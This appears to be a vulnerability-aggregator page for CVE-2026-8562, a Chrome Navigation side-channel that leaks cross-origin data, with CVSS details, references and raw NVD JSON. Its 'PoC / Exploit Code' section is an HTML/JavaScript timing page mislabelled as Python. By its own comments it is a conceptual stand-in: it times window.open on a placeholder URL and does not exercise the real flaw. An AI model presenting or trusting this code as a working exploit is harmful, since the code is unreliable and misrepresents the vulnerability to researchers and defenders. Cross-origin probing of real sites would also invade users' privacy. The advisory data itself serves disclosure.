CVE-2026-8562

Description

Side-channel information leakage in Navigation in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-8562 PoC</title>
</head>
<body>
    <h1>Side-channel Navigation Leak PoC</h1>
    <button onclick="exploit()">Click to Test Vulnerability</button>
    <script>
        // Simulate a side-channel attack via timing analysis
        function exploit() {
            const targetUrl = 'https://target-site.com/private-data';
            const start = performance.now();
            
            // Attempt to navigate or load resource in a way that triggers the leak
            // This is a conceptual representation of the exploit mechanism
            const win = window.open(targetUrl, '_blank');
            
            // Measure time taken to determine state or content existence
            // In a real scenario, specific navigation events or SharedArrayBuffer might be used
            setTimeout(() => {
                const end = performance.now();
                const duration = end - start;
                console.log(`Navigation time: ${duration}ms`);
                
                // Logic to infer data based on timing
                if (duration > 100) {
                    alert("Potential information leakage detected based on timing.");
                } else {
                    alert("No leakage detected.");
                }
                win.close();
            }, 500);
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8562
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8562
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8562/
[4] VulDB https://vuldb.com/cve/CVE-2026-8562
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/40057534

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8562", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:18.317", "lastModified": "2026-05-15T15:16:55.430", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Side-channel information leakage in Navigation in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1300"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/40057534", "source": "[email protected]"}]}}